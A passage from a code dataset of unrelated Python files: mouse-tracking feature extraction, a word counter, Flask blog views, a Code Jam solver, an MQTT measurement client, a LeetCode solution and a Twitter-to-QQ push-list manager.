np.array(data).T.tolist()\n\n mouses_info = [[data[8 * m + i] for i in range(8)] for m in range(8)]\n dates = data[-2:]\n\n for m in range(8):\n mouses_info[m] = np.array(mouses_info[m]).T.astype(float).tolist()\n\n for m in range(8):\n # sheet1 = xlwt.Workbook()\n # table = sheet1.add_sheet('data from mouse %d' % m)\n\n to_csv = []\n\n xls_ind = 0\n for _ in range(len(mouses_info[m])):\n if _ == 0:\n body_speed = 0\n head_speed = 0\n speed_vect = [1, 0]\n prev_head_body_dist = 10\n prev_head_body_vect = [1, 0]\n else:\n body_speed = np.sum((np.array([mouses_info[m][_][0], mouses_info[m][_][1]]) - np.array(\n [mouses_info[m][_ - 1][0], mouses_info[m][_ - 1][1]])) ** 2)\n body_speed = np.sqrt(body_speed)\n\n head_speed = np.sum((np.array([mouses_info[m][_][2], mouses_info[m][_][3]]) - np.array(\n [mouses_info[m][_ - 1][2], mouses_info[m][_ - 1][3]])) ** 2)\n head_speed = np.sqrt(head_speed)\n\n speed_vect = np.array([mouses_info[m][_][0], mouses_info[m][_][1]]) - np.array([mouses_info[m][_ - 1][0], mouses_info[m][_ - 1][1]])\n\n if _ != len(mouses_info[m]) - 1:\n next_body_speed = np.sum((np.array([mouses_info[m][_ + 1][0], mouses_info[m][_ + 1][1]]) - np.array(\n [mouses_info[m][_][0], mouses_info[m][_][1]])) ** 2)\n next_body_speed = np.sqrt(next_body_speed)\n\n next_head_speed = np.sum((np.array([mouses_info[m][_ + 1][2], mouses_info[m][_ + 1][3]]) - np.array(\n [mouses_info[m][_][2], mouses_info[m][_][3]])) ** 2)\n next_head_speed = np.sqrt(next_head_speed)\n else:\n next_body_speed = 0\n next_head_speed = 0\n\n # acceleration\n body_acceleration = next_body_speed - body_speed\n head_acceleration = next_head_speed - head_speed\n\n # mean coordinates (percent of cage size)\n body_coord = [mouses_info[m][_][0], mouses_info[m][_][1] / 480]\n # if m == 0:\n # body_coord[0] = float(body_coord[0]) / 270 # left cage\n # if m == 1:\n # body_coord[0] = float(body_coord[0] - 270) / 270 # right cage\n\n head_coord = [mouses_info[m][_][2], mouses_info[m][_][3] / 480]\n # if m == 0:\n # head_coord[0] = float(head_coord[0]) / 270 # left cage\n # if m == 1:\n # head_coord[0] = float(head_coord[0] - 270) / 270 # right cage\n\n head_body_vect = np.array([mouses_info[m][_][2], mouses_info[m][_][3]]) - np.array([mouses_info[m][_][0], mouses_info[m][_][1]])\n head_body_dist = np.linalg.norm(head_body_vect)\n head_body_dist_change = head_body_dist - prev_head_body_dist\n\n if np.linalg.norm(speed_vect) != 0:\n cos = np.dot(head_body_vect, speed_vect) / (np.linalg.norm(speed_vect) * head_body_dist)\n\n if np.isnan(cos):\n cos = 1\n\n sin = np.sqrt(1 - cos * cos)\n\n else:\n cos = 1\n sin = 0\n body_speed_x = body_speed * cos\n body_speed_y = body_speed * sin\n\n head_speed_x = head_speed * cos\n head_speed_y = head_speed * sin\n\n if head_body_dist != 0 and prev_head_body_dist != 0:\n if np.array_equal(head_body_vect, prev_head_body_vect):\n head_rotation = 0\n else:\n head_rotation = np.arccos(np.dot(head_body_vect, prev_head_body_vect) / (head_body_dist * prev_head_body_dist))\n\n if np.isnan(head_rotation):\n head_rotation = 0\n else:\n head_rotation = 0\n\n\n # avg temperature\n temp = mouses_info[m][_][6]\n\n # time\n\n # print(dates[1])\n h, minutes, s = (dates[1][_].split()[1]).split(':')\n h, minutes, s = int(h), int(minutes), int(s)\n if 'PM' in dates[1][_] and h != 12:\n h += 12\n if h == 12 and 'AM' in dates[1][_]:\n h = 0\n\n time = h * 3600 + minutes * 60 + s\n\n # TABLE\n\n # SHAPE\n # table.write(xls_ind, 0, head_body_dist)\n #\n # # MOTION\n # table.write(xls_ind, 1, body_speed_x)\n # table.write(xls_ind, 2, body_speed_y)\n # table.write(xls_ind, 3, head_speed_x)\n # table.write(xls_ind, 4, head_speed_y)\n # table.write(xls_ind, 5, head_body_dist_change)\n # table.write(xls_ind, 6, head_rotation)\n # table.write(xls_ind, 7, body_speed)\n # table.write(xls_ind, 8, head_speed)\n # table.write(xls_ind, 9, body_acceleration)\n # table.write(xls_ind, 10, head_acceleration)\n #\n # # WINDOW\n # table.write(xls_ind, 11, body_coord[0])\n # table.write(xls_ind, 12, body_coord[1])\n # table.write(xls_ind, 13, head_coord[0])\n # table.write(xls_ind, 14, head_coord[1])\n #\n # # OTHER\n # table.write(xls_ind, 15, temp)\n # table.write(xls_ind, 16, time)\n #\n # # DATES\n # table.write(xls_ind, 17, dates[0][_])\n # table.write(xls_ind, 18, dates[1][_])\n\n to_csv.append([head_body_dist,\n body_speed_x,\n body_speed_y,\n head_speed_x,\n head_speed_y,\n head_body_dist_change,\n head_rotation,\n body_speed,\n head_speed,\n body_acceleration,\n head_acceleration,\n body_coord[0],\n body_coord[1],\n head_coord[0],\n head_coord[1],\n temp,\n # time,\n dates[0][_],\n dates[1][_]])\n prev_head_body_dist = head_body_dist\n prev_head_body_vect = head_body_vect[:]\n\n xls_ind += 1\n\n with open(os.path.join('data_csv', '{}_{}'.format(m, xls)), 'w') as csvfile:\n writer = csv.writer(csvfile)\n writer.writerows(to_csv)\n #sheet1.save(os.path.join('check', dirname, 'xlses', 'data', '{}_{}.xls'.format(m, subdirname)))\n\n\nif __name__ == '__main__':\n create()","sub_path":"new_recording/create_data.py","file_name":"create_data.py","file_ext":"py","file_size_in_byte":7765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"511062880","text":"import sys\n\n\ndef show_sizeof(x, level=0):\n print(\"\\t\" * level, x.__class__, sys.getsizeof(x), x)\n if hasattr(x, '__iter__'):\n if hasattr(x, 'items'):\n for xx in x.items:\n show_sizeof(xx, level + 1)\n else:\n for xx in x:\n show_sizeof(xx, level + 1)\n\nd_letter= {}\nd = {}\nfile = open('text.txt', 'r')\nfor line in file:\n line = line.rstrip()\n for words in line.split(' '):\n for letters in words:\n if d_letter.get(letters) != None:\n d_letter[letters] += 1\n else:\n d_letter[letters] = 1\n\n if d.get(words) != None:\n d[words] += 1\n else:\n d[words] = 1\n\nmax = 0\nword = 'a'\nfor i in d:\n if d[i]>max:\n max = d[i]\n word = i\nprint(max, word)\nmax = 0\nletter = 'a'\nfor i in d_letter:\n if d_letter[i]>max:\n max = d_letter[i]\n letter = i\nprint(max, letter)\n","sub_path":"StandLib.py","file_name":"StandLib.py","file_ext":"py","file_size_in_byte":958,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"49950974","text":"from flask import Flask\nfrom . import main\nfrom flask import render_template,redirect, request, url_for,abort,flash\nfrom flask_login import login_required, current_user\nfrom ..models import User,Blog,Comment\nfrom .forms import BlogForm,UpdateProfile,CommentForm\nfrom .. import db, photos\n\n\napp = Flask(__name__)\n\n\n# views\n@main.route(\"/\")\ndef index():\n\n title = 'Get started with a HURRICANE CLEANING SERVICES'\n blogs= Blog.query.all()\n\n return render_template('index.html', title= title,blogs=blogs)\n\n@main.route('/user/')\ndef profile(uname):\n user = User.query.filter_by(username = uname).first()\n\n if user is None:\n abort(404)\n\n return render_template(\"profile/profile.html\", user = user)\n\n@main.route('/user//update',methods = ['GET','POST'])\n@login_required\ndef update_profile(uname):\n user = User.query.filter_by(username = uname).first()\n if user is None:\n abort(404)\n\n form = UpdateProfile()\n\n if form.validate_on_submit():\n user.bio = form.bio.data\n\n db.session.add(user)\n db.session.commit()\n\n return redirect(url_for('.profile',uname=user.username))\n\n return render_template('profile/update.html',form =form)\n\n@main.route('/user//update/pic',methods= ['POST'])\n@login_required\ndef update_pic(uname):\n user = User.query.filter_by(username = uname).first()\n if 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n path = f'photos/{filename}'\n user.profile_pic_path = path\n db.session.commit()\n\n\n return redirect(url_for('main.profile',uname=uname))\n\n\n\n@main.route('/blog/new', methods=['GET', 'POST'])\n@login_required\ndef new_blog():\n form= BlogForm()\n\n if form.validate_on_submit():\n title = form.title.data\n content = form.content.data\n category = form.category.data\n\n blog = Blog(title = title,content = content, category = category)\n\n db.session.add(blog)\n db.session.commit()\n\n print('blog')\n flash('Creating blog has been successful!')\n return redirect(url_for('main.one_blog', id = blog.id))\n\n\n return render_template('new_blog.html', title='New Blog',blog_form = form, legend = 'New Blog')\n\n@main.route('/blog/new/')\ndef one_blog(id):\n blog = Blog.query.get(id)\n return render_template('blog.html', blog = blog)\n\n\n\n@main.route('/blog//',methods = [\"GET\",\"POST\"])\ndef blog(blog_id):\n blog = Blog.query.filter_by(id=blog_id)\n form = CommentForm()\n\n if form.validate_on_submit():\n\n comment = form.comment.data\n new_blog_comment = Comment(comment=comment,blog_id = blog_id)\n\n db.session.add(new_blog_comment)\n db.session.commit()\n\n comments = Comment.query.filter_by(blog_id=blog_id)\n return render_template('comments.html', title = 'blog', blog =blog, blog_form = form, comments = comments)\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"532588642","text":"import itertools,sys,math\n\ndef divisor(number):\n for i in range(2,number):\n if number % i == 0:\n# print(i, 'divisor')\n return i\n\ndef not_prime(n):\n for i in range(3,n):\n if n % i != 0:\n return True\n return False\n\ndef is_primeX(n):\n for i in range(3, n):\n if n % i == 0:\n# print(i, 'prime False')\n return False\n #print(i, 'prime True')\n return True\n\ndef is_prime(n):\n if n % 2 == 0 and n > 2: \n return False\n for i in range(3, int(math.sqrt(n)) + 1, 2):\n if n % i == 0:\n return False\n return True\n\ndef isJamX(number):\n if(number[0] == '1' and number[-1] == '1'):\n arr = []\n for i in range(2,11):\n num = int(number,i)\n if(not_prime(num)):\n arr.append(divisor(num))\n else:\n return(False,[])\n return(True, arr)\n \n return(False,[])\n\ndef isJam(number):\n if(number[0] == '1' and number[-1] == '1'):\n arr = []\n for i in range(2,11):\n num = int(number,i)\n# print(i, num, 'isJam')\n #print(num, is_prime(num), divisor(num))\n if(is_prime(num)):\n return (False,[])\n arr.append(divisor(num))\n return (True,arr)\n return (False,[])\n\ndef makeJam(N, J):\n\n num = 0\n arr = list(itertools.product([0,1], repeat = N))\n ret = []\n for i in arr:\n if(num == J): return ret\n temp1 = ''.join(map(str,i))\n temp2 = isJam(temp1)\n if(temp2[0]):\n #print(temp1, ' '.join(map(str,temp2[1])))\n ret.append(temp1 + ' ' + ' '.join(map(str,temp2[1])))\n num += 1\n \n\nif __name__ == \"__main__\":\n f = sys.stdin\n t = int(f.readline())\n arr = dict()\n for i in range(1,t+1):\n line = f.readline().strip().split()\n arr[i] = makeJam(int(line[0]),int(line[1]))\n for j in arr:\n print(\"Case #%d:\" % (j))\n for k in arr[j]:\n print(k)\n","sub_path":"codes/CodeJamCrawler/16_0_3_neat/16_0_3_iammatis_JamCoin.py","file_name":"16_0_3_iammatis_JamCoin.py","file_ext":"py","file_size_in_byte":2043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"499876960","text":"import paho.mqtt.client as mqtt\nimport json\nimport fastavro\nfrom io import BytesIO\nimport logging\n\nlogger = logging.getLogger(\"AstroPlant\")\n\nclass Client(object):\n \"\"\"\n AstroPlant API Client class implementing methods to interact with the AstroPlant API.\n \"\"\"\n\n def __init__(self, host, port, keepalive=60, auth={}):\n self.connected = False\n \n self._mqtt_client = mqtt.Client()\n self._mqtt_client.on_connect = self._on_connect\n self._mqtt_client.on_disconnect = self._on_disconnect\n self._mqtt_client.on_message = self._on_message\n \n self._mqtt_client.reconnect_delay_set(min_delay=1, max_delay=128)\n\n with open('./schema/aggregate.avsc', 'r') as f:\n self._aggregate_schema = fastavro.parse_schema(json.load(f))\n\n with open('./schema/stream.avsc', 'r') as f:\n self._stream_schema = fastavro.parse_schema(json.load(f))\n\n if auth:\n self.serial = auth['serial']\n self._mqtt_client.username_pw_set(username=auth['serial'], password=auth['secret'])\n else:\n self.serial = 'anon'\n \n self._mqtt_client.connect_async(host=host, port=port, keepalive=keepalive)\n\n def start(self):\n \"\"\"\n Start the client background thread.\n \"\"\"\n self._mqtt_client.loop_start()\n\n def stop(self):\n \"\"\"\n Stop the client background thread.\n \"\"\"\n self._mqtt_client.loop_stop()\n\n def _on_connect(self, client, user_data, flags, rc):\n self.connected = True\n\n def _on_disconnect(self, client, user_data, rc):\n self.connected = False\n\n def _on_message(self, client, user_data, msg):\n topic = msg.topic\n payload = msg.payload\n\n def publish_stream_measurement(self, measurement):\n \"\"\"\n Publish a (real-time) stream measurement.\n \"\"\"\n msg = BytesIO()\n fastavro.schemaless_writer(\n msg,\n self._stream_schema,\n {\n 'peripheral': measurement.peripheral.get_name(),\n 'physical_quantity': measurement.physical_quantity,\n 'physical_unit': measurement.physical_unit,\n 'datetime': round(measurement.end_datetime.timestamp() * 1000),\n 'value': measurement.value\n }\n )\n\n self._mqtt_client.publish(\n topic = f\"kit/{self.serial}/measurement/stream\",\n payload = msg.getvalue(),\n qos = 0 # Deliver at most once.\n )\n\n def publish_aggregate_measurement(self, measurement):\n \"\"\"\n Publish an aggregate measurement.\n \"\"\"\n msg = BytesIO()\n fastavro.schemaless_writer(\n msg,\n self._aggregate_schema,\n {\n 'kit_serial': '', # Filled on the backend-side for security reasons.\n 'peripheral': measurement.peripheral.get_name(),\n 'physical_quantity': measurement.physical_quantity,\n 'physical_unit': measurement.physical_unit,\n 'start_datetime': round(measurement.start_datetime.timestamp() * 1000),\n 'end_datetime': round(measurement.end_datetime.timestamp() * 1000),\n 'type': measurement.aggregate_type,\n 'value': measurement.value\n }\n )\n\n self._mqtt_client.publish(\n topic = f\"kit/{self.serial}/measurement/aggregate\",\n payload = msg.getvalue(),\n qos = 2 # Deliver exactly once. Maybe downgrade to `1`: deliver at least once.\n )\n","sub_path":"astroplant_kit/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"523318070","text":"class Solution(object):\n def reorderLogFiles(self, logs):\n \"\"\"\n :type logs: List[str]\n :rtype: List[str]\n \"\"\"\n\n\n lets = sorted([x for x in logs if x.split()[1].islower()], key = lambda a: a.split()[1:])\n digs = [x for x in logs if x.split()[1].isdigit()]\n return lets + digs\n\nprint(Solution().reorderLogFiles([\"27 85717 7\", \"2 y xyr fc\", \"52 314 99\", \"d 046099 0\", \"m azv x f\", \"7e apw c y\", \"8 hyyq z p\", \"6 3272401\", \"c otdk cl\", \"8 ksif m u\"]))\n","sub_path":"LeetCodeContests/110/reorder_log_files.py","file_name":"reorder_log_files.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"182978645","text":"# -*- coding: UTF-8 -*-\nimport string\nimport nonebot\nimport urllib\nimport traceback\nimport os\n#引入配置\nimport config\n#日志输出\nfrom helper import data_read,data_save,getlogger,msgSendToBot\nlogger = getlogger(__name__)\n#引入测试方法\ntest = None\ntry:\n import test\nexcept:\n pass\n'''\n推送列表维护,及推送处理模版类定义\n'''\n\nPushList_config_name = 'PushListData.json'\nbase_tweet_id = config.base_tweet_id\n\n#10进制转64进制\ndef encode_b64(n:int) -> str:\n table = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ$_'\n result = []\n temp = n - 1253881609540800000\n if 0 == temp:\n result.append('0')\n else:\n while 0 < temp:\n result.append(table[int(temp) % 64])\n temp = int(temp)//64\n return ''.join([x for x in reversed(result)])\ndef decode_b64(str):\n table = {\"0\": 0, \"1\": 1, \"2\": 2, \"3\": 3, \"4\": 4, \"5\": 5,\n \"6\": 6, \"7\": 7, \"8\": 8, \"9\": 9,\n \"a\": 10, \"b\": 11, \"c\": 12, \"d\": 13, \"e\": 14, \"f\": 15, \"g\": 16,\n \"h\": 17, \"i\": 18, \"j\": 19, \"k\": 20, \"l\": 21, \"m\": 22, \"n\": 23,\n \"o\": 24, \"p\": 25, \"q\": 26, \"r\": 27, \"s\": 28, \"t\": 29, \"u\": 30,\n \"v\": 31, \"w\": 32, \"x\": 33, \"y\": 34, \"z\": 35,\n \"A\": 36, \"B\": 37, \"C\": 38, \"D\": 39, \"E\": 40, \"F\": 41, \"G\": 42,\n \"H\": 43, \"I\": 44, \"J\": 45, \"K\": 46, \"L\": 47, \"M\": 48, \"N\": 49,\n \"O\": 50, \"P\": 51, \"Q\": 52, \"R\": 53, \"S\": 54, \"T\": 55, \"U\": 56,\n \"V\": 57, \"W\": 58, \"X\": 59, \"Y\": 60, \"Z\": 61,\n \"$\": 62, \"_\": 63}\n result = 0\n for i in range(len(str)):\n result *= 64\n result += table[str[i]]\n return result + 1253881609540800000\n#推送列表\nclass PushList:\n #映射推送关联(推送对象(type:str,ID:int)->推送单元)\n __push_list = {\n 'private':{},\n 'group':{}\n } \n __spy_relate = {} #映射对象关联(监测ID(ID:int)->推送单元)\n spylist = [str(base_tweet_id)] #流监测列表\n \n #支持的消息类型\n message_type_list = ('private','group') \n #推送单元允许编辑的配置_布尔类型\n Pushunit_allowEdit = (\n #携带图片发送\n 'upimg',\n #消息模版\n 'retweet_template','quoted_template','reply_to_status_template',\n 'reply_to_user_template','none_template',\n #推特转发各类型开关\n 'retweet','quoted','reply_to_status',\n 'reply_to_user','none',\n #推特个人信息变动推送开关\n 'change_ID','change_name','change_description',\n 'change_headimgchange'\n )\n \"\"\"\n 推送列表-》推送列表、监测人信息关联表及监测人单的列表-》推送单元\n 注:每个推送单元绑定一个推特用户ID以及一个推送对象(群或QQ)\n 注:推送单元的配置由其推送对象全局配置以及自身DIY设置共同完成\n \"\"\"\n #清空推送设置\n def clear(self):\n self.__push_list = {\n 'private':{},\n 'group':{}\n } \n self.__spy_relate = {} #映射对象关联(监测ID(ID:int)->推送单元)\n self.spylist = [str(base_tweet_id)] #流监测列表\n #获取所有推送单元\n def getAllPushUnit(self) -> list:\n sourcedata = self.__spy_relate.copy()\n PushUnits = []\n for PushUnitList in sourcedata.values():\n for PushUnit in PushUnitList:\n PushUnits.append(PushUnit)\n return PushUnits\n #获取所有推送对象的全局设置信息\n def getAllPushTo(self) -> list:\n PushToAttrList = []\n sourcedata = self.__push_list.copy()\n for pushTo,frameunit in sourcedata['private'].items():\n PushToAttrList.append({\n 'message_type':'private',\n 'pushTo':pushTo,\n 'Pushunitattr':frameunit['Pushunitattr'].copy()\n })\n for pushTo,frameunit in sourcedata['group'].items():\n PushToAttrList.append({\n 'message_type':'group',\n 'pushTo':pushTo,\n 'Pushunitattr':frameunit['Pushunitattr'].copy()\n })\n return PushToAttrList\n def savePushList(self) -> tuple:\n PushUnits = self.getAllPushUnit()\n PushToAttrList = self.getAllPushTo()\n return data_save(\n PushList_config_name,\n {\n 'PushUnits':PushUnits,\n 'PushToAttrList':PushToAttrList\n },\n 'config'\n )\n def readPushList(self) -> tuple:\n data = data_read(PushList_config_name,'config')\n if data[0] != False:\n self.clear()\n for PushUnit in data[2]['PushUnits']:\n self.addPushunit(PushUnit)\n for PushToAttrs in data[2]['PushToAttrList']:\n if PushToAttrs['pushTo'] not in self.__push_list[PushToAttrs['message_type']]:\n continue\n self.__push_list[PushToAttrs['message_type']][PushToAttrs['pushTo']]['Pushunitattr'] = PushToAttrs['Pushunitattr'].copy()\n return (True,data[1])\n return data\n #打包成推送单元中(推送类型-群/私聊,推送对象-群号/Q号,绑定的推特用户ID,单元描述,绑定的酷Q账号,推送模版,各推送开关)\n def baleToPushUnit(self,bindCQID:int,\n pushtype:str,\n pushID:int,\n tweet_user_id:int,\n des:str,\n nick:str='',**config):\n Pushunit = {}\n if not config:\n config = {}\n #固有属性\n Pushunit['bindCQID'] = bindCQID #绑定的酷Q帐号(正式上线时将使用此帐户进行发送,用于适配多酷Q账号)\n Pushunit['type'] = pushtype #group/private\n Pushunit['pushTo'] = pushID #QQ号或者群号\n Pushunit['tweet_user_id'] = tweet_user_id #监测ID\n Pushunit['nick'] = nick #推送昵称(默认推送昵称为推特screen_name)\n Pushunit['des'] = des #单元描述\n Pushunit['config'] = config\n return Pushunit\n #增加一个推送单元,返回状态元组(布尔型-是否成功,字符串-消息)\n def addPushunit(self,Pushunit) -> tuple:\n if Pushunit['pushTo'] in self.__push_list[Pushunit['type']]:\n if Pushunit['tweet_user_id'] in self.__push_list[Pushunit['type']][Pushunit['pushTo']]['pushunits']:\n return ( False, '推送单元已存在' )\n else:\n #初始化推送对象(推送全局属性)\n self.__push_list[Pushunit['type']][Pushunit['pushTo']] = {\n #为推送对象设置全局默认属性\n 'Pushunitattr':config.pushunit_default_config.copy(),\n #推送单元组\n 'pushunits':{}\n }\n #添加单元至推送列表\n self.__push_list[Pushunit['type']][Pushunit['pushTo']]['pushunits'][Pushunit['tweet_user_id']] = Pushunit\n #同步监测关联(内部同步了监测列表)\n if Pushunit['tweet_user_id'] not in self.__spy_relate:\n self.__spy_relate[Pushunit['tweet_user_id']] = []\n if str(Pushunit['tweet_user_id']) != base_tweet_id:\n self.spylist.append(str(Pushunit['tweet_user_id']))\n self.__spy_relate[Pushunit['tweet_user_id']].append(Pushunit)\n return ( True, '添加成功!' )\n #删除一个推送单元,没有返回值\n def delPushunit(self,Pushunit):\n #从推送列表中移除推送单元\n del self.__push_list[Pushunit['type']][Pushunit['pushTo']]['pushunits'][Pushunit['tweet_user_id']]\n #从监测列表中移除推送单元\n self.__spy_relate[Pushunit['tweet_user_id']].remove(Pushunit)\n #检查监测对象的推送单元是否为空,为空则移出监测列表\n if self.__spy_relate[Pushunit['tweet_user_id']] == []:\n del self.__spy_relate[Pushunit['tweet_user_id']]\n if str(Pushunit['tweet_user_id']) != base_tweet_id:\n self.spylist.remove(str(Pushunit['tweet_user_id']))\n #鲨掉自己\n del Pushunit\n #获取一个推送单元,返回状态列表(布尔型-是否成功,字符串-消息/Pushunit)\n def getPushunit(self,message_type:str,pushTo:int,tweet_user_id:int) -> list:\n if message_type not in self.message_type_list:\n raise Exception(\"无效的消息类型!\",message_type)\n if pushTo not in self.__push_list[message_type]:\n return (False,'推送对象不存在!')\n if tweet_user_id not in self.__push_list[message_type][pushTo]['pushunits']:\n return (False,'推送单元不存在!')\n return (True,self.__push_list[message_type][pushTo]['pushunits'][tweet_user_id])\n\n #获取推送单元某个属性的值 返回值-(布尔型-是否成功,字符串-消息/属性内容)\n def getPuslunitAttr(self,Pushunit,key) -> tuple:\n if key in Pushunit['config']:\n return (True,Pushunit['config'][key])\n if key not in self.__push_list[Pushunit['type']][Pushunit['pushTo']]['Pushunitattr']:\n return (False,'不存在此属性')\n res = self.__push_list[Pushunit['type']][Pushunit['pushTo']]['Pushunitattr'][key]\n return (True,res)\n \n #返回监测对象关联的推送单元组,监测对象不存在时返回空列表[]\n def getLitsFromTweeUserID(self,tweet_user_id:int) -> list:\n if tweet_user_id not in self.__spy_relate:\n return []\n return self.__spy_relate[tweet_user_id].copy()\n #返回推送对象关联的推送单元组,推送对象不存在时返回空列表[]\n def getLitsFromPushTo(self,message_type:str,pushTo:int) -> list:\n if message_type not in self.message_type_list:\n raise Exception(\"无效的消息类型!\",message_type)\n if pushTo not in self.__push_list[message_type]:\n return []\n dict_ = self.__push_list[message_type][pushTo]['pushunits']\n res = []\n for v in dict_.values():\n res.append(v)\n return res\n #返回推送对象关联的推送单元组-带ID,推送对象不存在时返回空列表{}\n def getLitsFromPushToAndID(self,message_type:str,pushTo:int) -> dict:\n if message_type not in self.message_type_list:\n raise Exception(\"无效的消息类型!\",message_type)\n if pushTo not in self.__push_list[message_type]:\n return {}\n return self.__push_list[message_type][pushTo]['pushunits']\n #返回推送对象关联的推送属性组,推送对象不存在时返回空字典{}\n def getAttrLitsFromPushTo(self,message_type:str,pushTo:int) -> dict:\n if message_type not in self.message_type_list:\n raise Exception(\"无效的消息类型!\",message_type)\n if pushTo not in self.__push_list[message_type]:\n return {}\n return self.__push_list[message_type][pushTo]['Pushunitattr']\n\n #移除某个监测对象关联的所有推送单元,参数-推特用户ID 返回值-(布尔型-是否成功,字符串-消息)\n def delPushunitFromTweeUserID(self,tweet_user_id:int) -> tuple:\n if tweet_user_id not in self.__spy_relate:\n return (False,'此用户不在监测列表中!')\n table = self.getLitsFromTweeUserID(tweet_user_id)\n if table == []:\n return (True,'移除成功!')\n for Pushunit in table:\n self.delPushunit(Pushunit)\n return (True,'移除成功!')\n #移除某个推送对象关联的所有推送单元,参数-消息类型,对象ID,CQID 返回值-(布尔型-是否成功,字符串-消息)\n def delPushunitFromPushTo(self,message_type:str,pushTo:int,self_id:int = 0) -> tuple:\n if message_type not in self.message_type_list:\n raise Exception(\"无效的消息类型!\",message_type)\n table = self.getLitsFromPushTo(message_type,pushTo)\n if table == []:\n return (True,'移除成功!')\n for Pushunit in table:\n if self_id == 0 or self_id == Pushunit['bindCQID']:\n self.delPushunit(Pushunit)\n return (True,'移除成功!')\n #移除某个推送单元,参数-消息类型,对象ID 返回值-(布尔型-是否成功,字符串-消息)\n def delPushunitFromPushToAndTweetUserID(self,message_type:str,pushTo:int,tweet_user_id:int) -> tuple:\n if message_type not in self.message_type_list:\n raise Exception(\"无效的消息类型!\",message_type)\n if pushTo not in self.__push_list[message_type]:\n return (False,'推送对象不存在!')\n if tweet_user_id not in self.__push_list[message_type][pushTo]['pushunits']:\n return (False,'推送单元不存在!')\n self.delPushunit(self.__push_list[message_type][pushTo]['pushunits'][tweet_user_id])\n return (True,'移除成功!')\n\n #设置指定推送对象的全局属性\n def PushTo_setAttr(self,message_type:str,pushTo:int,key:str,value) -> tuple:\n if message_type not in self.message_type_list:\n raise Exception(\"无效的消息类型!\",message_type)\n if key not in self.Pushunit_allowEdit:\n return (False,'指定属性不存在!')\n if pushTo not in self.__push_list[message_type]:\n return (False,'推送对象不存在!')\n self.__push_list[message_type][pushTo]['Pushunitattr'][key] = value\n return (True,'属性已更新')\n #设置指定推送单元的特定属性\n def setPushunitAttr(self,message_type:str,pushTo:int,tweet_user_id:int,key:str,value):\n if message_type not in self.message_type_list:\n raise Exception(\"无效的消息类型!\",message_type)\n if key not in self.Pushunit_allowEdit and key != 'nick' and key != 'des':\n return (False,'指定属性不存在!')\n if pushTo not in self.__push_list[message_type]:\n return (False,'推送对象不存在!')\n if tweet_user_id not in self.__push_list[message_type][pushTo]['pushunits']:\n return (False,'推送单元不存在!')\n if key == 'nick' or key == 'des':\n self.__push_list[message_type][pushTo]['pushunits'][tweet_user_id][key] = value\n else:\n self.__push_list[message_type][pushTo]['pushunits'][tweet_user_id]['config'][key] = value\n return (True,'属性已更新')\n#字符串模版\nclass tweetToStrTemplate(string.Template):\n delimiter = '$'\n idpattern = '[a-z]+_[a-z_]+'\n\nclass tweetEventDeal:\n #用户信息维护列表\n userinfolist = {}\n #检测个人信息更新\n def check_userinfo(self, userinfo):\n \"\"\"\n 运行数据比较\n 用于监测用户的信息修改\n 用户ID screen_name\n 用户昵称 name\n 描述 description\n 头像 profile_image_url\n \"\"\"\n \"\"\"\n tweetinfo['user']['id'] = tweet.user.id\n tweetinfo['user']['id_str'] = tweet.user.id_str\n tweetinfo['user']['name'] = tweet.user.name\n tweetinfo['user']['description'] = tweet.user.description\n tweetinfo['user']['screen_name'] = tweet.user.screen_name\n tweetinfo['user']['profile_image_url'] = tweet.user.profile_image_url\n tweetinfo['user']['profile_image_url_https'] = tweet.user.profile_image_url_https\n \"\"\"\n if userinfo['id'] in self.userinfolist:\n old_userinfo = self.userinfolist[userinfo['id']]\n data = {}\n str = ''\n if old_userinfo['name'] != userinfo['name']:\n data['type'] = 'change_name'\n str = old_userinfo['name'] + \"(\" + old_userinfo['screen_name'] + \")\" + \\\n ' 的昵称已更新为 ' + userinfo['name'] + \"(\" + userinfo['screen_name'] + \")\"\n old_userinfo['name'] = userinfo['name']\n if old_userinfo['description'] != userinfo['description']:\n data['type'] = 'change_description'\n str = old_userinfo['name'] + \"(\" + old_userinfo['screen_name'] + \")\" + ' 的描述已更新为 ' + userinfo['description']\n old_userinfo['description'] = userinfo['description']\n if old_userinfo['screen_name'] != userinfo['screen_name']:\n data['type'] = 'change_ID'\n str = old_userinfo['name'] + \"(\" + old_userinfo['screen_name'] + \")\" + \\\n ' 的ID已更新为 ' + userinfo['name'] + \"(\" + userinfo['screen_name'] + \")\"\n old_userinfo['screen_name'] = userinfo['screen_name']\n if old_userinfo['profile_image_url_https'] != userinfo['profile_image_url_https']:\n data['type'] = 'change_headimgchange'\n str = old_userinfo['name'] + \"(\" + old_userinfo['screen_name'] + \")\" + '的头像已更新'\n old_userinfo['profile_image_url'] = userinfo['profile_image_url']\n old_userinfo['profile_image_url_https'] = userinfo['profile_image_url_https']\n\n if str != '':\n data['user_id'] = userinfo['id']\n data['user_id_str'] = userinfo['id_str']\n data['str'] = str\n eventunit = self.bale_event(data['type'],data['user_id'],data)\n self.deal_event(eventunit)\n else:\n if userinfo['id_str'] in push_list.spylist:\n self.userinfolist[userinfo['id']] = userinfo\n #打包事件(事件类型,引起变化的用户ID,事件数据)\n def bale_event(self, event_type,user_id:int,event_data):\n eventunit = {\n 'type':event_type,\n 'user_id':user_id,\n 'data':event_data\n }\n return eventunit\n #事件预处理-发送事件\n def deal_event(self, event):\n table = push_list.getLitsFromTweeUserID(event['user_id'])\n if test != None:\n test.event_push(event)\n for Pushunit in table:\n #获取属性判断是否可以触发事件\n res = push_list.getPuslunitAttr(Pushunit,event['type'])\n if res[0] == False:\n raise Exception(\"获取Pushunit属性值失败\",Pushunit)\n if res[1] == 1:\n self.deal_event_unit(event,Pushunit)\n def deal_event_unit(self,event,Pushunit):\n raise 